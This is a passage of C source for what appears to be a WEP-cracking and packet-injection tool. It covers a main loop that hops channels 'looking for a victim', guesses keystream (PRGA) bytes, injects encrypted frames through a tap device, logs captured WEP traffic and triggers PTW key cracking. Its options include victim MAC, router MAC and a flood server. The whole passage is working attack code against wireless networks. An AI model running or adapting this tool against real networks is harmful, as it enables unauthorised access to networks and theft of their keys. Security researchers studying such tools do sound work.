2225	strcpy(ifr.ifr_name, tapdev);
2226	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2227		perror("ioctl(SIOCGIFFLAGS)");
2228		exit(1);
2229	}
2230
2231	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2232	flags |= IFF_UP;
2233
2234	memset(&ifr, 0, sizeof(ifr));
2235	strcpy(ifr.ifr_name, tapdev);
2236	ifr.ifr_flags = flags & 0xffff;
2237	ifr.ifr_flagshigh = flags >> 16;
2238	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2239		perror("ioctl(SIOCSIFFLAGS)");
2240		exit(1);
2241	}
2242
2243	close(s);
2244	time_print("Opened tap device: %s\n", tapdev);
2245}
2246
2247void read_tap() {
2248	unsigned char buf[4096];
2249	struct ether_header* eh;
2250	struct ieee80211_frame* wh;
2251	int rd;
2252	unsigned char* ptr, *body;
2253	int dlen;
2254
2255	rd = read(tapfd, buf, sizeof(buf));
2256	if (rd == -1) {
2257		perror("read()");
2258		exit(1);
2259	}
2260	dlen = rd - sizeof(*eh);
2261
2262	assert(dlen > 0);
2263
2264	if (dlen+8 > prgainfo.len) {
2265		printf("\n");
2266		// XXX lame message...
2267		time_print("Sorry... want to send %d but only got %d prga\n",
2268			   dlen, prgainfo.len);
2269		return;
2270
2271	}
2272
2273	if (taptx_len) {
2274		printf("\n");
2275		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2276		// XXX could not read instead and get rid of it in select...
2277	}
2278
2279	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2280
2281	eh = (struct ether_header*) buf;
2282
2283	wh = (struct ieee80211_frame*) taptx;
2284	memset(wh, 0, sizeof(*wh));
2285	fill_basic(wh);
2286
2287        wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2288        wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2289
2290	memcpy(wh->i_addr2, eh->ether_shost, 6);
2291	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2292
2293        body = (unsigned char*) wh + sizeof(*wh);
2294        ptr = body;
2295        ptr += 4; // iv
2296
2297	do_llc(ptr, ntohs(eh->ether_type));
2298	ptr += 8;
2299
2300	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2301
2302	wepify(body, 8+dlen);
2303	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2304
2305	assert (taptx_len < sizeof(taptx));
2306}
2307
2308int elapsedd(struct timeval *past, struct timeval *now)
2309{
2310        int el;
2311
2312        el = now->tv_sec - past->tv_sec;
2313        assert(el >= 0);
2314        if (el == 0) {
2315                el = now->tv_usec - past->tv_usec;
2316        } else {
2317                el = (el - 1)*1000*1000;
2318                el += 1000*1000-past->tv_usec;
2319                el += now->tv_usec;
2320        }
2321
2322        return el;
2323}
2324
2325static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2326{
2327#define BIT(n)  (1<<(n))
2328        struct bpf_hdr *bpfh;
2329        struct ieee80211_radiotap_header *rth;
2330        uint32_t present;
2331        uint8_t rflags;
2332        void *ptr;
2333	static int nocrc = 0;
2334
2335	assert(*totlen);
2336
2337        /* bpf hdr */
2338        bpfh = (struct bpf_hdr*) (*data);
2339        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2340        *totlen -= bpfh->bh_hdrlen;
2341
2342        /* check if more packets */
2343        if ((int)bpfh->bh_caplen < *totlen) {
2344                int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2345                int offset = BPF_WORDALIGN(tot);
2346
2347                *data = (char*)bpfh + offset;
2348                *totlen -= offset - tot; /* take into account align bytes */
2349        } else if ((int)bpfh->bh_caplen > *totlen)
2350                abort();
2351
2352        *plen = bpfh->bh_caplen;
2353        *totlen -= bpfh->bh_caplen;
2354        assert(*totlen >= 0);
2355
2356        /* radiotap */
2357        rth = (struct ieee80211_radiotap_header*)
2358              ((char*)bpfh + bpfh->bh_hdrlen);
2359        /* XXX cache; drivers won't change this per-packet */
2360        /* check if FCS/CRC is included in packet */
2361        present = le32toh(rth->it_present);
2362        if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2363                if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2364                        rflags = ((const uint8_t *)rth)[8];
2365                else
2366                        rflags = ((const uint8_t *)rth)[0];
2367        } else
2368                rflags = 0;
2369        *plen -= rth->it_len;
2370        assert(*plen > 0);
2371
2372        /* 802.11 CRC */
2373        if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2374                *plen -= IEEE80211_CRC_LEN;
2375                nocrc = 1;
2376        }
2377
2378        ptr = (char*)rth + rth->it_len;
2379
2380        return ptr;
2381#undef BIT
2382}
2383
2384static int read_packet(int fd, unsigned char *dst, int len)
2385{
2386	static unsigned char buf[4096];
2387	static int totlen = 0;
2388	static unsigned char *next = buf;
2389        unsigned char *pkt;
2390        int plen;
2391
2392        assert(len > 0);
2393
2394        /* need to read more */
2395        if (totlen == 0) {
2396                totlen = read(fd, buf, sizeof(buf));
2397                if (totlen == -1) {
2398                        totlen = 0;
2399                        return -1;
2400                }
2401                next = buf;
2402        }
2403
2404        /* read 802.11 packet */
2405        pkt = get_80211(&next, &totlen, &plen);
2406        if (plen > len)
2407                plen = len;
2408        assert(plen > 0);
2409        memcpy(dst, pkt, plen);
2410
2411        return plen;
2412}
2413
2414void own(int wifd) {
2415	unsigned char buf[4096];
2416	int rd;
2417	fd_set rfd;
2418	struct timeval tv;
2419	char *pbar = "/-\\|";
2420	char *pbarp = &pbar[0];
2421	struct timeval lasthop;
2422	struct timeval now;
2423	unsigned int last_wep_count = 0;
2424	struct timeval last_wcount;
2425	struct timeval last_status;
2426	int fd;
2427	int largest;
2428
2429	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2430	if (weplog.fd == -1) {
2431		struct pcap_file_header pfh;
2432
2433		memset(&pfh, 0, sizeof(pfh));
2434		pfh.magic           = TCPDUMP_MAGIC;
2435		pfh.version_major   = PCAP_VERSION_MAJOR;
2436		pfh.version_minor   = PCAP_VERSION_MINOR;
2437		pfh.thiszone        = 0;
2438		pfh.sigfigs         = 0;
2439		pfh.snaplen         = 65535;
2440		pfh.linktype        = LINKTYPE_IEEE802_11;
2441
2442		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2443				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2444		if (weplog.fd != -1) {
2445			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2446				err(1, "write()");
2447		}
2448	}
2449	else {
2450		time_print("WARNING: Appending in %s\n", WEP_FILE);
2451	}
2452
2453	if (weplog.fd == -1) {
2454		perror("open()");
2455		exit(1);
2456	}
2457
2458	fd = open(PRGA_FILE, O_RDONLY);
2459	if (fd != -1) {
2460		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2461		rd = read(fd, buf, sizeof(buf));
2462		if (rd == -1) {
2463			perror("read()");
2464			exit(1);
2465		}
2466		if (rd >= 8) {
2467			set_prga(buf, NULL, &buf[3], rd - 3);
2468		}
2469
2470		close(fd);
2471	}
2472
2473	fd = open(DICT_PATH, O_RDONLY);
2474	if (fd == -1) {
2475		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2476		if (mkdir (DICT_PATH, 0755) == -1) {
2477			perror("mkdir()");
2478			exit(1);
2479		}
2480	}
2481	else
2482		close(fd);
2483
2484	open_tap();
2485	set_if_mac(mymac, tapdev);
2486	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2487
2488	if (tapfd > wifd)
2489		largest = tapfd;
2490	else
2491		largest = wifd;
2492
2493	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2494		perror("signal()");
2495		exit(1);
2496	}
2497	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2498		perror("signal()");
2499		exit(1);
2500	}
2501
2502	time_print("Looking for a victim...\n");
2503	if (gettimeofday(&lasthop, NULL) == -1) {
2504		perror("gettimeofday()");
2505		exit(1);
2506	}
2507
2508	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2509	memcpy(&last_status, &lasthop, sizeof(last_status));
2510
2511	while (1) {
2512		if (gettimeofday(&now, NULL) == -1) {
2513			perror("gettimeofday()");
2514			exit(1);
2515		}
2516
2517		/* check for relay timeout */
2518		if (fragstate.waiting_relay) {
2519			int el;
2520
2521			el = now.tv_sec - fragstate.last.tv_sec;
2522			assert (el >= 0);
2523			if (el == 0) {
2524				el = now.tv_usec - fragstate.last.tv_usec;
2525			} else {
2526				el--;
2527
2528				el *= 1000*1000;
2529				el += 1000*1000 - fragstate.last.tv_usec;
2530				el += now.tv_usec;
2531
2532				if (el > (1500*1000)) {
2533//					printf("\nLAMER timeout\n\n");
2534					free(fragstate.data);
2535					fragstate.data = 0;
2536				}
2537			}
2538		}
2539
2540		/* check for arp timeout */
2541		if (rtrmac == (unsigned char*) 1) {
2542			int el;
2543
2544			el = elapsedd(&arpsend, &now);
2545			if (el >= (1500*1000)) {
2546				rtrmac = 0;
2547			}
2548		}
2549
2550		// status bar
2551		if ( (now.tv_sec > last_status.tv_sec ) ||
2552		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2553		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2554				check_key();
2555			}
2556			if (netip && prgainfo.len >= min_prga &&
2557			    rtrmac > (unsigned char*) 1) {
2558				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2559				       weplog.packets, wep_thresh,
2560				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2561				       weplog.rate);
2562				fflush(stdout);
2563			}
2564			else {
2565				if (state == FIND_VICTIM)
2566					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2567				else if (decryptstate.cipher) {
2568					int pos = decryptstate.prgainfo.len - 1;
2569					unsigned char prga = decryptstate.prgainfo.prga[pos];
2570					assert(pos);
2571
2572					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2573						   prga, decryptstate.cipher[pos] ^ prga);
2574				}
2575				else
2576					time_print("%c\r", *pbarp);
2577				fflush(stdout);
2578			}
2579			memcpy(&last_status, &now,sizeof(last_status));
2580		}
2581
2582		// check if we are cracking
2583		if (crack_pid) {
2584			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2585				kill_crack();
2586		}
2587
2588		// check TX  / retransmit
2589		if (txstate.waiting_ack) {
2590			unsigned int elapsed = now.tv_sec -
2591					       txstate.tsent.tv_sec;
2592			elapsed *= 1000*1000;
2593			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2594
2595			if (elapsed >= ack_timeout)
2596				send_frame(wifd, NULL, -1);
2597		}
2598
2599		// INPUT
2600		// select
2601		FD_ZERO(&rfd);
2602		FD_SET(wifd, &rfd);
2603		FD_SET(tapfd, &rfd);
2604		tv.tv_sec = 0;
2605		tv.tv_usec = 1000*10;
2606		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2607		if (rd == -1) {
2608			perror("select()");
2609			exit(1);
2610		}
2611
2612		// read
2613		if (rd != 0) {
2614			// wifi
2615			if (FD_ISSET(wifd, &rfd)) {
2616				rd = read_packet(wifd, buf, sizeof(buf));
2617				if (rd == 0)
2618					return;
2619				if (rd == -1) {
2620					perror("read()");
2621					exit(1);
2622				}
2623
2624				pbarp++;
2625				if(!(*pbarp))
2626					pbarp = &pbar[0];
2627				// input
2628				anal(buf, rd, wifd);
2629			}
2630
2631			// tap
2632			if (FD_ISSET(tapfd, &rfd)) {
2633				read_tap();
2634			}
2635		}
2636
2637		// check state and what we do next.
2638		if (state == FIND_VICTIM) {
2639			if (now.tv_sec > lasthop.tv_sec ||
2640			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2641				int chan = chaninfo.chan;
2642				chan++;
2643
2644				if(chan > 11)
2645					chan = 1;
2646
2647				set_chan(chan);
2648				memcpy(&lasthop, &now, sizeof(lasthop));
2649			}
2650		} else {
2651		// check if we need to write something...
2652			if (!txstate.waiting_ack)
2653				can_write(wifd);
2654
2655			// roughly!
2656
2657#ifdef MORE_ACCURATE
2658			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2659				unsigned int elapsed;
2660				int secs;
2661				int packetz = weplog.packets - last_wep_count;
2662				elapsed = 1000*1000;
2663
2664				elapsed -= last_wcount.tv_usec;
2665
2666				assert(elapsed >= 0);
2667				elapsed += now.tv_usec;
2668
2669				secs = now.tv_sec - last_wcount.tv_sec;
2670				secs--;
2671				if (secs > 0)
2672					elapsed += (secs*1000*1000);
2673
2674				weplog.rate = (int)
2675				((double)packetz/(elapsed/1000.0/1000.0));
2676#else
2677			if ( now.tv_sec > last_wcount.tv_sec) {
2678				weplog.rate = weplog.packets - last_wep_count;
2679#endif
2680				last_wep_count = weplog.packets;
2681				memcpy(&last_wcount, &now, sizeof(now));
2682
2683				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2684					try_crack();
2685			}
2686		}
2687	}
2688}
2689
2690void start(char *dev) {
2691	int fd;
2692
2693	setup_if(dev);
2694
2695	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2696
2697	ptw = PTW_newattackstate();
2698	if (!ptw)
2699		err(1, "PTW_newattackstate()");
2700
2701	own(fd);
2702
2703#if 0
2704	{
2705		int i;
2706		struct timeval tv;
2707		set_chan(11);
2708		for (i = 0; i < 10; i++) {
2709			gettimeofday(&tv, NULL);
2710
2711			send_ack(tx);
2712//			usleep(500);
2713			printf("%lu\n", tv.tv_usec);
2714		}
2715	}
2716#endif
2717
2718	close(fd);
2719}
2720
2721void usage(char* pname) {
2722	printf("Usage: %s <opts>\n", pname);
2723	printf("-h\t\tthis lame message\n");
2724	printf("-i\t\t<iface>\n");
2725	printf("-s\t\t<flood server ip>\n");
2726	printf("-m\t\t<my ip>\n");
2727	printf("-n\t\t<net ip>\n");
2728	printf("-r\t\t<rtr mac>\n");
2729	printf("-a\t\t<mymac>\n");
2730	printf("-c\t\tdo not crack\n");
2731	printf("-p\t\t<min prga>\n");
2732	printf("-4\t\t64 bit key\n");
2733	printf("-v\t\tvictim mac\n");
2734	exit(0);
2735}
2736
2737void str2mac(unsigned char* dst, unsigned char* mac) {
2738	unsigned int macf[6];
2739	int i;
2740
2741	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2742                   &macf[0], &macf[1], &macf[2],
2743                   &macf[3], &macf[4], &macf[5]) != 6) {
2744
2745		   printf("can't parse mac %s\n", mac);
2746		   exit(1);
2747	}
2748
2749	for (i = 0; i < 6; i++)
2750		*dst++ = (unsigned char) macf[i];
2751}
2752
2753int main(int argc, char *argv[]) {
2754	unsigned char* dev = "ath0";
2755	unsigned char rtr[6];
2756	unsigned char vic[6];
2757
2758	int ch;
2759
2760	if (gettimeofday(&real_start, NULL) == -1) {
2761		perror("gettimeofday()");
2762		exit(1);
2763	}
2764
2765	chaninfo.s = -1;
2766	victim.ssid = 0;
2767	prgainfo.len = 0;
2768
2769	memset(&txstate, 0, sizeof(txstate));
2770	memset(&fragstate, 0, sizeof(fragstate));
2771	memset(&decryptstate, 0, sizeof(decryptstate));
2772	memset(&weplog, 0, sizeof(weplog));
2773
2774	state = FIND_VICTIM;
2775
2776	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:")) != -1) {
2777		switch (ch) {
2778			case 'a':
2779				str2mac(mymac, optarg);
2780				break;
2781
2782			case 's':
2783				floodip = optarg;
2784				break;
2785
2786			case 'i':
2787				dev = optarg;
2788				break;
2789
2790			case 'm':
2791				strncpy(myip, optarg, sizeof(myip)-1);
2792				myip[sizeof(myip)-1] = 0;
2793				break;
2794
2795			case 'n':
2796				netip = optarg;
2797				netip_arg = 1;
2798				break;
2799
2800			case 'r':
2801				str2mac(rtr, optarg);
2802				rtrmac = rtr;
2803				break;
2804
2805			case 'v':
2806				str2mac(vic, optarg);
2807				victim_mac = vic;
2808				break;
2809
2810			case 'c':
2811				wep_thresh = -1;
2812				break;
2813
2814			case 'p':
2815				min_prga = atoi(optarg);
2816				break;
2817
2818			case '4':
2819				bits = 64;
2820				break;
2821
2822			default:
2823				usage(argv[0]);
2824				break;
2825		}
2826	}
2827
2828	start(dev);
2829
2830	if(chaninfo.s != -1)
2831		close(chaninfo.s);
2832	if(victim.ssid)
2833		free(victim.ssid);
2834	exit(0);
2835}
2836